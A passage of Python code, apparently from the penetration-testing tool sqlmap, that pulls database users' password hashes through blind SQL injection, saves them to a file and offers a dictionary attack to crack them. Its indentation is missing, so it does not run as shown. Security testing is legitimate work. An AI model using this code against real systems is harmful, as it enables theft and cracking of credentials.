count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
passwords = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MSSQL):
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index, user)
else:
query = rootQuery.blind.query % (user, index, user)
else:
query = rootQuery.blind.query % (user, index)
password = unArrayizeValue(inject.getValue(query, union=False, error=False))
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPasswords:
errMsg = "unable to retrieve the password hashes for the "
errMsg += "database users (probably because the session "
errMsg += "user has no read privileges over the relevant "
errMsg += "system database table)"
logger.error(errMsg)
else:
for user in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))
storeHashesToFile(kb.data.cachedUsersPasswords)
message = "do you want to perform a dictionary-based attack "
message += "against retrieved password hashes? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
pass
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords